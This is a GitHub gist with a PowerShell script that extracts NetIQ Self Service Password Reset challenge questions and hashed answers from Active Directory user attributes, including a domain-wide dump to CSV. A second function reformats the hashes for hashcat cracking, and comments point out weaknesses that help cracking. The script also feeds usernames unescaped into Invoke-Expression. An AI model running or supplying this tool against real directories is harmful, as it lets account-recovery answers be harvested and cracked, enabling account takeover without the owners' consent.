Last active
January 14, 2016 22:47
-
-
Save crypticgeek/28ee0d0cdbb8b38092ab to your computer and use it in GitHub Desktop.
PS Script To Dump NetIQ SSPR attributes (ie: hashes) from active directory
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-pwmResponseSet | |
{ | |
<# | |
.SYNOPSIS | |
This function retrieves and decodes the pwmResponseSet attribute for user(s) in Active Directory | |
.DESCRIPTION | |
NetIQ Self Service Password Reset is a user self service password application. Users configure challenege/response | |
questions and answers then later use them to reset their forgotton password. SSPR can be configured to store the | |
user's config as part of the Active Directory schema. The schema is extended and a pwmResponseSet attribute is | |
created and added to user accounts. The attribute is ASCII bytes encoding XML containing the challenge questions | |
and answers. SSPR stores answers as plain text or hashed using PBKDF2WithHmacSHA1, SHA1, Salted SHA1, or bcrypt. | |
This script has only been tested with Salted SHA1 as that is in use in environment its author has access to. | |
.EXAMPLE | |
Get-pwmResponseSet -User jdoe | |
MinLen CaseInsensitive AnswerText Format Challenge Salt Iterations MaxLen User | |
------ --------------- ---------- ------ --------- ---- ---------- ------ ---- | |
4 true B:FxHUyOPwsr... SHA1_SALT What was you... MBS9ZgZ5r7IG... 100000 200 jdoe | |
4 true B:ozKD1xwuyv... SHA1_SALT What is your... CxCpGqosk9Pk... 100000 200 jdoe | |
4 true B:pC4sEaFy9l... SHA1_SALT Who is your ... pGsXpx5ZyS5K... 100000 200 jdoe | |
4 true B:cgMui+ZJ+L... SHA1_SALT What is the ... Q5HCvD8ms3Lg... 100000 200 jdoe | |
This command gets the pwmResponseSet for a user, if it exists, and prints it to the screen | |
.EXAMPLE | |
Get-AdUser -Filter "pwmResponseSet -like '*'" | Select 'SamAccountName' | Get-pwmResponseSet | Export-Csv c:\pwm.csv | |
Dump all pwmResponseSets in the domain to a CSV file | |
.PARAMETER User | |
The user name to query. | |
.PARAMETER Domain | |
The domain if different from the current user's domain | |
.PARAMETER Server | |
The domain controller to query | |
.LINK | |
https://www.netiq.com/products/self-service-password-reset/ | |
.LINK | |
https://www.netiq.com/documentation/self-service-password-reset-33/pdfdoc/adminguide/adminguide.pdf | |
#> | |
[CmdletBinding()] | |
param | |
( | |
<# | |
TODO Pipelining directly from get-aduser isn't working | |
Get-pwmResponseSet : Cannot bind argument to parameter 'user' because it is an empty array | |
Do this instead: | |
Get-AdUser -Paramaters 'whatever' | Select 'SamAccountName' | Get-pwmResponseSet | |
#> | |
[Parameter(Mandatory=$True, | |
ValueFromPipeline=$True, | |
ValueFromPipelineByPropertyName=$True, | |
HelpMessage='User?')] | |
[Alias('DistinguishedName','SamAccountName','UserName')] | |
[string[]]$user, | |
[Parameter(Mandatory=$False)] | |
[string]$server = "", | |
[Parameter(Mandatory=$False)] | |
[Alias('DomainName')] | |
[string]$domain = "" | |
) | |
begin | |
{ | |
Write-Verbose "Starting up..." | |
# set arguments for Get-ADUser | |
$GetADUserArgs = "-Properties pwmResponseSet" | |
if ($server -ne "") { $GetADUserArgs += " -Server " + $server } | |
if ($domain -ne "") { $GetADUserArgs += $GetADUserArgs + " -DomainName " + $domain } | |
# place to store our custom powershell objects for output later on | |
$output = @() | |
} | |
process | |
{ | |
foreach ($u in $user) | |
{ | |
Write-Verbose "User $u" | |
# get the ASCII encoded pwmResponseSet (this is a collection of bytes in an object | |
# of type Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) | |
##TODO## Fix issue with usernames that contain characters such as ' that terminate the string | |
$rsASCII = (Invoke-Expression "Get-ADUser $GetADUserArgs -Identity $u").pwmResponseSet | |
if(!$rsASCII) { | |
Write-Error "No pwmResponseSet for $u, skipping" | |
continue | |
} | |
# this just pretty prints the bytes so we can see what it got | |
#New-Object PSObject -Property @{ Object=$rsASCII} | Out-String | Write-Verbose | |
# decode the ASCII back to a string containing a header of some kind (9 chars) + XML | |
$rsString = [System.Text.Encoding]::Ascii.GetString($rsASCII[0]) | |
# cast it to XML, we must lob off the first 9 chars which is header info of some kind | |
$rsXML = [xml]$rsString.Substring(9) | |
# dump the XML string for verbose output | |
Write-Verbose $rsXML.OuterXml.ToString() | |
# The XML consists of ResponseSet nodes (I've only seen 1 responseSet per user) containing one or more responses | |
# which in turn contain answers. Here we use XPATH to iterate through each ResponseSet and their responses. | |
$responseSetNodes = $rsXML.SelectNodes("//ResponseSet") | |
foreach ($rsNode in $responseSetNodes) | |
{ | |
# are the user's responses in this set case insensitive? | |
# this is common and can help guide password cracking as the response is lowercased before hashing | |
$caseInsensitive = $rsNode.caseInsensitive | |
# get all the user's responses and store them in a powershell object | |
$responseNodes = $rsNode.SelectNodes("//response") | |
foreach ($response in $responseNodes) | |
{ | |
$props = @{'User'=$u; | |
'CaseInsensitive'=$caseInsensitive; | |
'Challenge'=$response.challenge; | |
'MinLen'=$response.minLength; | |
'MaxLen'=$response.maxLength; | |
'Salt'=$response.answer.salt; | |
'Format'=$response.answer.format; | |
'Iterations'=$response.answer.hashcount; | |
# The answer is stored in the #text tag as a base64 string | |
# with a 2 character header (atleast with salted SHA1) | |
'AnswerText'=$response.answer.'#text'} | |
$object = New-Object -TypeName 'PSObject' -Property $props | |
$object.psobject.TypeNames.Insert(0,"SSPR.pwmResponseSet") | |
$output += $object | |
} | |
} | |
} | |
} | |
End | |
{ | |
Write-Verbose "Processing ended, output results" | |
Write-Output $output | |
} | |
} | |
function Convert-pwm2Hashcat | |
{ | |
<# | |
.SYNOPSIS | |
This function converts a pwmResponseSet object into a string for password crackers such as hashcat | |
.DESCRIPTION | |
SSPR.pwmResponseSet is a custom PSObject created by Get-pwmResponseSet that contains NetIQ SSPR pwmResponseSet information. | |
This helper function converts these objects into a string consumable by a password cracking application such as Hashcat | |
.EXAMPLE | |
Get-pwmResponseSet -User jdoe | Convert-pwm2hashcat | |
.PARAMETER pwmResponseSet | |
The pwmResponseSet object to convert | |
#> | |
[CmdletBinding()] | |
param | |
( | |
[Parameter(Mandatory=$True, | |
ValueFromPipeline=$True)] | |
[ValidateScript({$_.PSObject.Typenames[0] -eq "SSPR.pwmResponseSet"})] | |
$pwmResponseSet | |
) | |
begin | |
{ | |
Write-Verbose "Starting up..." | |
# place to store our output for later on | |
$output = @() | |
} | |
process | |
{ | |
foreach ($rs in $pwmResponseSet) | |
{ | |
Write-Verbose "Processing $rs.User $rs.challenge" | |
# build a string like $Format$Iterations$Salt$Base64 | |
$sep = "$" | |
$hash = "" | |
switch($rs.Format) | |
{ | |
"SHA1_SALT" { $hash += $sep + "SHA" + $sep + $rs.Iterations + $sep + $rs.Salt + $sep + $rs.AnswerText.Substring(2) } | |
## TODO ## investigate what other formats look like to correctly handle those | |
default { | |
Write-Error "Unknown Format in pwmResponseSet, skipping" | |
Continue | |
} | |
} | |
$output += $hash | |
} | |
} | |
End | |
{ | |
Write-Verbose "Processing ended, output results" | |
Write-Output $output | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment